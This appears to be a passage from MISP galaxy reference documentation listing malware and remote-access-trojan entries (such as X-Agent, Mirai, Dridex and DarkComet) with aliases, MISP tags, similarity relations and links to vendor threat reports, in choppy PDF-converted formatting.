• similar: misp-galaxy:malpedia="EtumBot" with estimative-language:likelihood-probability="almost-certain"

Table 11717. Table References

Links


Fexel

The tag is: misp-galaxy:tool="Fexel"

Fexel is also known as:

• Loneagent

Fysbis

The tag is: misp-galaxy:tool="Fysbis"

Table 11718. Table References

Links

http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/

Hikit

The tag is: misp-galaxy:tool="Hikit"

View relationships graph

Hikit has relationships with:

• similar: misp-galaxy:mitre-malware="Hikit - S0009" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="HiKit" with estimative-language:likelihood-probability="almost-
Hancitor

The tag is: misp-galaxy:tool="Hancitor"

Hancitor is also known as:

- Tordal
- Chanitor
- Pony

View relationships graph

Hancitor has relationships with:

- similar: misp-galaxy:malpedia="Hancitor" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Pony" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Fareit" with estimative-language:likelihood-probability="likely"

Ruckguv

The tag is: misp-galaxy:tool="Ruckguv"

View relationships graph

Ruckguv has relationships with:

- similar: misp-galaxy:malpedia="Ruckguv" with estimative-language:likelihood-probability="likely"
HerHer Trojan

The tag is: misp-galaxy:tool="HerHer Trojan"

Table 11722. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/">http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/</a></td>
</tr>
</tbody>
</table>

Helminth backdoor

The tag is: misp-galaxy:tool="Helminth backdoor"

Table 11723. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/">http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/</a></td>
</tr>
</tbody>
</table>

HDRoot

The tag is: misp-galaxy:tool="HDRoot"

View relationships graph

HDRoot has relationships with:

- similar: misp-galaxy:malpedia="HDRoot" with estimative-language:likelihood-probability="almost-certain"

Table 11724. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://williamshowalter.com/a-universal-windows-bootkit/">http://williamshowalter.com/a-universal-windows-bootkit/</a></td>
</tr>
</tbody>
</table>

IRONGATE

The tag is: misp-galaxy:tool="IRONGATE"

Table 11725. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2016/06/irongate_ics_malware.html">https://www.fireeye.com/blog/threat-research/2016/06/irongate_ics_malware.html</a></td>
</tr>
</tbody>
</table>

ShimRAT

The tag is: misp-galaxy:tool="ShimRAT"
X-Agent

APT28’s second-stage persistent macOS backdoor. This backdoor component is known to have a modular structure featuring various espionage functionalities, such as key-logging, screen grabbing and file exfiltration. This component is available for Osx, Windows, Linux and iOS operating systems.

Xagent is a modular backdoor with spying functionalities such as keystroke logging and file exfiltration. Xagent is the group’s flagship backdoor and heavily used in their operations. Early versions for Linux and Windows were seen years ago, then in 2015 an iOS version came out. One year later, an Android version was discovered and finally, in the beginning of 2017, an Xagent sample for OS X was described.

The tag is: misp-galaxy:tool="X-Agent"

X-Agent is also known as:

- XAgent

View relationships graph

X-Agent has relationships with:

- similar: misp-galaxy:mitre-malware="CHOPSTICK - S0023" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="X-Agent for Android - S0314" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="X-Agent (Android)" with estimative-language:likelihood-probability="likely"
X-Tunnel

The tag is: misp-galaxy:tool="X-Tunnel"

X-Tunnel is also known as:

- XTunnel

View relationships graph

X-Tunnel has relationships with:

- similar: misp-galaxy:mitre-malware="XTunnel - S0117" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="XTunnel" with estimative-language:likelihood-probability="likely"

Foozer

The tag is: misp-galaxy:tool="Foozer"

Table 11728. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/">https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/</a></td>
<td></td>
</tr>
</tbody>
</table>

WinIDS

The tag is: misp-galaxy:tool="WinIDS"

Table 11729. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/">https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/</a></td>
<td></td>
</tr>
</tbody>
</table>

DownRange

The tag is: misp-galaxy:tool="DownRange"

Table 11730. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/">https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/</a></td>
<td></td>
</tr>
</tbody>
</table>

Mad Max

The tag is: misp-galaxy:tool="Mad Max"
Mad Max has relationships with:

- similar: misp-galaxy:botnet="Madmax" with estimative-language:likelihood-probability="likely"

<table>
<thead>
<tr>
<th>Table 11731. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://www.arbornetworks.com/blog/asert/mad-max-dga/">https://www.arbornetworks.com/blog/asert/mad-max-dga/</a></td>
</tr>
</tbody>
</table>

Crimson

Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims

The tag is: misp-galaxy:tool="Crimson"

Crimson has relationships with:

- similar: misp-galaxy:rat="Crimson" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="Crimson - S0115" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Crimson RAT" with estimative-language:likelihood-probability="likely"

<table>
<thead>
<tr>
<th>Table 11732. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF">https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF</a></td>
</tr>
</tbody>
</table>

Prikormka

Operation Groundbait based on our research into the Prikormka malware family. This includes detailed technical analysis of the Prikormka malware family and its spreading mechanisms, and a description of the most noteworthy attack campaigns.

The tag is: misp-galaxy:tool="Prikormka"

Prikormka has relationships with:

- similar: misp-galaxy:mitre-malware="Prikormka - S0113" with estimative-language:likelihood-probability="likely"
NanHaiShu

This whitepaper details a malicious program we identify as NanHaiShu. Based on our analysis, the threat actor behind this malware targets government and private-sector organizations.

The tag is: misp-galaxy:tool="NanHaiShu"

Umbreon

Umbreon (sharing the same name as the Pokémon) targets Linux systems, including systems running both Intel and ARM processors, expanding the scope of this threat to include embedded devices as well.

The tag is: misp-galaxy:tool="Umbreon"
Odinaff

Odinaff is typically deployed in the first stage of an attack, to gain a foothold onto the network, providing a persistent presence and the ability to install additional tools onto the target network. These additional tools bear the hallmarks of a sophisticated attacker which has plagued the financial industry since at least 2013–Carbanak. This new wave of attacks has also used some infrastructure that has previously been used in Carbanak campaigns.

The tag is: misp-galaxy:tool="Odinaff"

View relationships graph

Odinaff has relationships with:

• similar: misp-galaxy:malpedia="Odinaff" with estimative-language:likelihood-probability="likely"

Table 11736. Table References

Links


Hworm

Unit 42 has observed a new version of Hworm (or Houdini) being used within multiple attacks. This blog outlines technical details of this new Hworm version and documents an attack campaign making use of the backdoor. Of the samples used in this attack, the first we observed were June 2016, while as-of publication we were still seeing attacks as recently as mid-October, suggesting that this is likely an active, ongoing campaign.

The tag is: misp-galaxy:tool="Hworm"

Hworm is also known as:

• Houdini

View relationships graph

Hworm has relationships with:

• similar: misp-galaxy:malpedia="Houdini" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:rat="H-worm" with estimative-language:likelihood-probability="likely"

Table 11737. Table References
**Backdoor.Dripion**

Backdoor.Dripion was custom developed, deployed in a highly targeted fashion, and used command and control servers disguised as antivirus company websites.

The tag is: `misp-galaxy:tool="Backdoor.Dripion"`

Backdoor.Dripion is also known as:

- Dripion

**Adwind**

Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. A significant amount of additional functionality can be provided through downloadable plugins, including such things as remote control options and shell command execution.

The tag is: `misp-galaxy:tool="Adwind"`

Adwind is also known as:

- AlienSpy
- Frutas
- Unrecom
- Sockrat
- jSocket
- jRat
- Backdoor:Java/Adwind

View relationships graph

Adwind has relationships with:

- similar: `misp-galaxy:rat="Adwind RAT"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:android="Adwind"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:android="Sockrat"` with estimative-language:likelihood-probability="likely"
Bedep

The tag is: `misp-galaxy:tool="Bedep"

View relationships graph

Bedep has relationships with:

- similar: `misp-galaxy:tool="Bedep"` with `estimative-language:likelihood-probability="likely"

Cromptui

The tag is: `misp-galaxy:tool="Cromptui"

Dridex

Dridex is a strain of banking malware that leverages macros in Microsoft Office to infect systems. Once a computer has been infected, Dridex attackers can steal banking credentials and other personal information on the system to gain access to the financial records of a user.

The tag is: `misp-galaxy:tool="Dridex"

Dridex is also known as:

- Cridex

View relationships graph

Dridex has relationships with:

- similar: `misp-galaxy:banker="Dridex"` with `estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:malpedia="Dridex"` with `estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:banker="Feodo"` with `estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:malpedia="Feodo"` with `estimative-language:likelihood-probability="likely"

Table 11739. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/blog/research/73660/adwind-faq/">https://securelist.com/blog/research/73660/adwind-faq/</a></td>
</tr>
</tbody>
</table>

Table 11740. Table References

| Links |
Fareit

The tag is: misp-galaxy:tool="Fareit"

View relationships graph

Fareit has relationships with:

- similar: misp-galaxy:malpedia="Pony" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Hancitor" with estimative-language:likelihood-probability="likely"

Gafgyt

The tag is: misp-galaxy:tool="Gafgyt"

View relationships graph

Gafgyt has relationships with:

- similar: misp-galaxy:malpedia="Bashlite" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:botnet="Gafgyt" with estimative-language:likelihood-probability="likely"

Gamarue

The tag is: misp-galaxy:tool="Gamarue"

Gamarue is also known as:

- Andromeda

View relationships graph

Gamarue has relationships with:

- similar: misp-galaxy:malpedia="Andromeda" with estimative-language:likelihood-probability="likely"

Table 11741. Table References

Links

https://blog.gdatasoftware.com/2015/03/24274-the-andromeda-gamarue-botnet-is-on-the-rise-again
**Necurs**

The Necurs botnet is a distributor of many pieces of malware, most notably Locky.

The tag is: `misp-galaxy:tool="Necurs"`

**View relationships graph**

Necurs has relationships with:

- similar: `misp-galaxy:malpedia="Necurs"` with `estimative-language:likelihood-probability="likely"`

*Table 11742. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Necurs_botnet">https://en.wikipedia.org/wiki/Necurs_botnet</a></td>
</tr>
</tbody>
</table>

**Palevo**

The tag is: `misp-galaxy:tool="Palevo"`

**Akbot**

The tag is: `misp-galaxy:tool="Akbot"`

Akbot is also known as:

- Qbot
- Qakbot
- PinkSlipBot

**View relationships graph**

Akbot has relationships with:

- similar: `misp-galaxy:banker="Qakbot"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:botnet="Akbot"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="QakBot"` with `estimative-language:likelihood-probability="likely"`

*Table 11743. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Akbot">https://en.wikipedia.org/wiki/Akbot</a></td>
</tr>
</tbody>
</table>
**Upatre**

Upatre is a Trojan downloader that is used to set up other threats on the victim's PC. Upatre has been used recently in several high profile Trojan attacks involving the Gameover Trojan.

The tag is: `misp-galaxy:tool="Upatre"`

View relationships graph

Upatre has relationships with:

- similar: `misp-galaxy:malpedia="Upatre"` with `estimative-language:likelihood-probability="likely"`

---

**Vawtrak**

Vawtrak is an information stealing malware family that is primarily used to gain unauthorised access to bank accounts through online banking websites.

The tag is: `misp-galaxy:tool="Vawtrak"`

View relationships graph

Vawtrak has relationships with:

- similar: `misp-galaxy:banker="Vawtrak"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Vawtrak"` with `estimative-language:likelihood-probability="likely"`

**Table 11744. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

---

**Empire**

Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework.

The tag is: `misp-galaxy:tool="Empire"`

View relationships graph

Empire has relationships with:
Explosive

Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive.

The tag is: \textit{misp-galaxy:tool}="Explosive"

KeyBoy

The actors used a new version of “KeyBoy,” a custom backdoor first disclosed by researchers at Rapid7 in June 2013. Their work outlined the capabilities of the backdoor, and exposed the protocols and algorithms used to hide the network communication and configuration data.

The tag is: \textit{misp-galaxy:tool}="KeyBoy"

KeyBoy has relationships with:

- similar: \textit{misp-galaxy:tool}="KeyBoy" with \textit{estimative-language:likelihood-probability}="likely"
- similar: \textit{misp-galaxy:malpedia}="Yahoyah" with \textit{estimative-language:likelihood-probability}="likely"

Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/adaptivethreat/Empire">https://github.com/adaptivethreat/Empire</a></td>
</tr>
<tr>
<td><a href="https://citizenlab.org/2016/11/parliament-keyboy/">https://citizenlab.org/2016/11/parliament-keyboy/</a></td>
</tr>
<tr>
<td><a href="https://community.rapid7.com/community/infosec/blog/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india">https://community.rapid7.com/community/infosec/blog/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india</a></td>
</tr>
</tbody>
</table>
Yahoyah

The attacks in this case are associated with a campaign called Tropic Trooper, which has been active since at least 2011 and is known for heavily targeting Taiwan. One of the attacks used their known Yahoyah malware...

The tag is: misp-galaxy:tool="Yahoyah"

Yahoyah is also known as:

- W32/Seeav

View relationships graph

Yahoyah has relationships with:

- similar: misp-galaxy:malpedia="KeyBoy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Yahoyah" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="KeyBoy" with estimative-language:likelihood-probability="likely"

Tartine

Delphi RAT used by Sofacy.

The tag is: misp-galaxy:tool="Tartine"

Mirai

Mirai (Japanese for "the future") is malware that turns computer systems running Linux into remotely controlled "bots", that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as remote cameras and home routers. The Mirai botnet has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs’s web site, an attack on French web host OVH and the October 2016 Dyn cyberattack.

The tag is: misp-galaxy:tool="Mirai"

Mirai is also known as:

- Linux/Mirai
Mirai has relationships with:

- similar: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Mirai (ELF)" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Owari" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Sora" with estimative-language:likelihood-probability="likely"

Masuta

IoT malware based on Mirai but slightly improved.

The tag is: misp-galaxy:tool="Masuta"

Masuta is also known as:

- PureMasuta

Masuta has relationships with:

- similar: misp-galaxy:malpedia="Masuta" with estimative-language:likelihood-probability="almost-certain"

BASHLITE

The tag is: misp-galaxy:tool="BASHLITE"

BASHLITE has relationships with:

- similar: misp-galaxy:malpedia="Bashlite" with estimative-language:likelihood-probability="almost-certain"
**BlackEnergy**

BlackEnergy is a trojan which has undergone significant functional changes since it was first publicly analysed by Arbor Networks in 2007. It has evolved from a relatively simple DDoS trojan into a relatively sophisticated piece of modern malware with a modular architecture, making it a suitable tool for sending spam and for online bank fraud, as well as for targeted attacks. BlackEnergy version 2, which featured rootkit techniques, was documented by SecureWorks in 2010. The targeted attacks recently discovered are proof that the trojan is still alive and kicking in 2014. We provide a technical analysis of the BlackEnergy family, focusing on novel functionality and the differences introduced by new lite variants. We describe the most notable aspects of the malware, including its techniques for bypassing UAC, defeating the signed driver requirement in Windows and a selection of BlackEnergy2 plug-ins used for parasitic file infections, network discovery and remote code execution and data collection.

The tag is: `misp-galaxy:tool="BlackEnergy"`

View relationships graph

BlackEnergy has relationships with:

- similar: `misp-galaxy:mitre-malware="BlackEnergy - S0089"` with estimative-language:likelihood-probability="likely"

- similar: `misp-galaxy:malpedia="BlackEnergy"` with estimative-language:likelihood-probability="likely"

**Trojan.Seaduke**

Trojan.Seaduke is a Trojan horse that opens a back door on the compromised computer. It may also download potentially malicious files.

The tag is: `misp-galaxy:tool="Trojan.Seaduke"`

Trojan.Seaduke is also known as:

- Seaduke

**Table 11751. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Table 11752. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Backdoor.Tinybaron**

The tag is: `misp-galaxy:tool="Backdoor.Tinybaron"`

**Incognito RAT**

The tag is: `misp-galaxy:tool="Incognito RAT"`

**DownRage**

The tag is: `misp-galaxy:tool="DownRage"`

DownRage is also known as:

- Carberplike

*Table 11753. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/Timo_Steffens/status/814781584536719360">https://twitter.com/Timo_Steffens/status/814781584536719360</a></td>
</tr>
</tbody>
</table>

**GeminiDuke**

GeminiDuke is malware that was used by APT29 from 2009 to 2012.

The tag is: `misp-galaxy:tool="GeminiDuke"`

**View relationships graph**

GeminiDuke has relationships with:


*Table 11754. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/wiki/Software/S0049">https://attack.mitre.org/wiki/Software/S0049</a></td>
</tr>
</tbody>
</table>

**Zeus**

Trojan.Zbot, also called Zeus, is a Trojan horse that attempts to steal confidential information from the compromised computer. It may also download configuration files and updates from the Internet. The Trojan is created using a Trojan-building toolkit.

The tag is: `misp-galaxy:tool="Zeus"`
Zeus is also known as:

- Trojan.Zbot
- Zbot

**View relationships graph**

Zeus has relationships with:

- similar: misp-galaxy:banker="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:botnet="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Zeus" with estimative-language:likelihood-probability="likely"

**Table 11755. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Shifu**

Shifu is a Banking Trojan first discovered in 2015. Shifu is based on the Shiz source code which incorporated techniques used by Zeus. Attackers use Shifu to steal credentials for online banking websites around the world, starting in Russia but later including the UK, Italy, and others.

The tag is: *misp-galaxy:tool="Shifu"*

**View relationships graph**

Shifu has relationships with:

- similar: misp-galaxy:malpedia="Shifu" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Shiz" with estimative-language:likelihood-probability="likely"

**Table 11756. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/">http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/</a></td>
</tr>
</tbody>
</table>

**Shiz**

The new variant of the Shiz Trojan malware targets mission-critical enterprise resource planning (ERP) applications — particularly SAP users.

The tag is: *misp-galaxy:tool="Shiz"*

**View relationships graph**
Shiz has relationships with:

- similar: misp-galaxy:tool="Shifu" with estimative-language:likelihood-probability="likely"

### Table 11757. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securityintelligence.com/tag/shiz-trojan-malware/">https://securityintelligence.com/tag/shiz-trojan-malware/</a></td>
</tr>
</tbody>
</table>

#### MM Core

Also known as “BaneChant”, MM Core is a file-less APT which is executed in memory by a downloader component. It was first reported in 2013 under the version number “2.0-LNK” where it used the tag “BaneChant” in its command-and-control (C2) network request. A second version “2.1-LNK” with the network tag “StrangeLove” was discovered shortly after.

The tag is: *misp-galaxy:tool="MM Core"*

**MM Core** is also known as:

- MM Core backdoor
- BigBoss
- SillyGoose
- BaneChant
- StrangeLove

**View relationships graph**

**MM Core** has relationships with:

- similar: misp-galaxy:malpedia="MM Core" with estimative-language:likelihood-probability="likely"

### Table 11758. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

#### Shamoon

Shamoon,[a] also known as Disttrack, is a modular computer virus discovered by Seculert[1] in 2012, targeting recent NT kernel-based versions of Microsoft Windows. The virus has been used for cyber espionage in the energy sector.[2][3][4] Its discovery was announced on 16 August 2012 by Symantec,[3] Kaspersky Lab,[5] and Seculert.[6] Similarities have been highlighted by Kaspersky Lab and Seculert between Shamoon and the Flame malware.[5][6]

The tag is: *misp-galaxy:tool="Shamoon"*
Shamoon is also known as:

- DistTrack

View relationships graph

Shamoon has relationships with:

- similar: misp-galaxy:mitre-malware="Shamoon - S0140" with estimative-language:likelihood-probability="likely"

Table 11759. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Shamoon">https://en.wikipedia.org/wiki/Shamoon</a></td>
</tr>
<tr>
<td><a href="https://securityaffairs.co/wordpress/78867/breaking-news/shamoon-virustotal.html">https://securityaffairs.co/wordpress/78867/breaking-news/shamoon-virustotal.html</a></td>
</tr>
</tbody>
</table>

**GhostAdmin**

According to MalwareHunterTeam and other researchers that have looked at the malware's source code, GhostAdmin seems to be a reworked version of CrimeScene, another botnet malware family that was active around 3-4 years ago.

The tag is: *misp-galaxy:tool="GhostAdmin"*

View relationships graph

GhostAdmin has relationships with:

- similar: misp-galaxy:malpedia="GhostAdmin" with estimative-language:likelihood-probability="likely"

Table 11760. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**EyePyramid Malware**

Two Italians referred to as the “Occhionero brothers” have been arrested and accused of using malware and a carefully-prepared spear-phishing scheme to spy on high-profile politicians and businessmen. This case has been called “EyePyramid”, which we first discussed last week. (Conspiracy theories aside, the name came from a domain name and directory path that was found during the research.)

The tag is: *misp-galaxy:tool="EyePyramid Malware"*

Table 11761. Table References
LuminosityLink

LuminosityLink is a malware family costing $40 that purports to be a system administration utility.

The tag is: misp-galaxy:tool="LuminosityLink"

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-inner-workings-eyepyramid/">http://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-inner-workings-eyepyramid/</a></td>
</tr>
</tbody>
</table>

Flokibot

Floki Bot, described recently by Dr. Peter Stephenson from SC Magazine, is yet another bot based on the leaked Zeus code. However, the author came up with various custom modifications that make it more interesting.

The tag is: misp-galaxy:tool="FlokiBot"

Flokibot is also known as:

- Floki Bot
- Floki

View relationships graph

Flokibot has relationships with:

- similar: misp-galaxy:malpedia="FlokiBot" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/">http://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/</a></td>
</tr>
</tbody>
</table>

ZeroT

Most recently, we have observed the same group targeting military and aerospace interests in Russia and Belarus. Since the summer of 2016, this group began using a new downloader known as ZeroT to install the PlugX remote access Trojan (RAT) and added Microsoft Compiled HTML Help.
(.chm) as one of the initial droppers delivered in spear-phishing emails.

The tag is: `misp-galaxy:tool="ZeroT"`

View relationships graph

ZeroT has relationships with:

- similar: `misp-galaxy:mitre-malware="ZeroT - S0230"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="ZeroT"` with `estimative-language:likelihood-probability="likely"`

Table 11764. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**StreamEx**

Cylance dubbed this family of malware StreamEx, based upon a common exported function used across all samples ‘stream’, combined with the dropper functionality to append ‘ex’ to the DLL file name. The StreamEx family has the ability to access and modify the user’s file system, modify the registry, create system services, enumerate process and system information, enumerate network resources and drive types, scan for security tools such as firewall products and antivirus products, change browser security settings, and remotely execute commands. The malware documented in this post was predominantly 64-bit, however, there are 32-bit versions of the malware in the wild.

The tag is: `misp-galaxy:tool="StreamEx"`

View relationships graph

StreamEx has relationships with:

- similar: `misp-galaxy:mitre-malware="StreamEx - S0142"` with `estimative-language:likelihood-probability="likely"`

Table 11765. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**adzok**

Remote Access Trojan

The tag is: `misp-galaxy:tool="adzok"

View relationships graph

adzok has relationships with:
• similar: misp-galaxy:malpedia="Adzok" with estimative-language:likelihood-probability="almost-certain"

Table 11766. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/kevthehermit/RATDecoders">https://github.com/kevthehermit/RATDecoders</a></td>
</tr>
</tbody>
</table>

**albertino**

Remote Access Trojan

The tag is: misp-galaxy:tool="albertino"

Table 11767. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/kevthehermit/RATDecoders">https://github.com/kevthehermit/RATDecoders</a></td>
</tr>
</tbody>
</table>

**arcom**

Remote Access Trojan

The tag is: misp-galaxy:tool="arcom"

Table 11768. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/kevthehermit/RATDecoders">https://github.com/kevthehermit/RATDecoders</a></td>
</tr>
</tbody>
</table>

**blacknix**

Remote Access Trojan

The tag is: misp-galaxy:tool="blacknix"

Table 11769. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/kevthehermit/RATDecoders">https://github.com/kevthehermit/RATDecoders</a></td>
</tr>
</tbody>
</table>

**bluebanana**

Remote Access Trojan

The tag is: misp-galaxy:tool="bluebanana"

Table 11770. Table References
bozok
Remote Access Trojan

The tag is: 

View relationships graph

bozok has relationships with:

- similar: misp-galaxy:malpedia="Bozok" with estimative-language:likelihood-probability="almost-certain"

Table 11771. Table References

clientmesh
Remote Access Trojan

The tag is: 

Table 11772. Table References

cybergate
Remote Access Trojan

The tag is: 

View relationships graph

cybergate has relationships with:

- similar: misp-galaxy:malpedia="CyberGate" with estimative-language:likelihood-probability="almost-certain"

Table 11773. Table References
**darkcomet**

Remote Access Trojan

The tag is: *misp-galaxy:tool="darkcomet"*

View relationships graph

darkcomet has relationships with:

- used-by: *misp-galaxy:threat-actor="APT-C-27"* with *estimative-language:likelihood-probability="likely"*
- similar: *misp-galaxy:malpedia="DarkComet"* with *estimative-language:likelihood-probability="almost-certain"*

*Table 11774. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/kevthehermit/RATDecoders">https://github.com/kevthehermit/RATDecoders</a></td>
</tr>
</tbody>
</table>

**darkrat**

Remote Access Trojan

The tag is: *misp-galaxy:tool="darkrat"*

View relationships graph

darkrat has relationships with:

- similar: *misp-galaxy:malpedia="DarkRat"* with *estimative-language:likelihood-probability="almost-certain"*

*Table 11775. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/kevthehermit/RATDecoders">https://github.com/kevthehermit/RATDecoders</a></td>
</tr>
</tbody>
</table>

**gh0st**

Remote Access Trojan

The tag is: *misp-galaxy:tool="gh0st"*

View relationships graph

gh0st has relationships with:

- similar: *misp-galaxy:mitre-malware="gh0st RAT - S0032"* with *estimative-language:likelihood-probability="likely"*
**The tag is:** *misp-galaxy:tool="greame"*

**The tag is:** *misp-galaxy:tool="hawkeye"*

**The tag is:** *misp-galaxy:tool="javadropper"*

**The tag is:** *misp-galaxy:tool="lostdoor"*
**luxnet**
Remote Access Trojan

The tag is: `misp-galaxy:tool="luxnet"`

*Table 11781. Table References*

<table>
<thead>
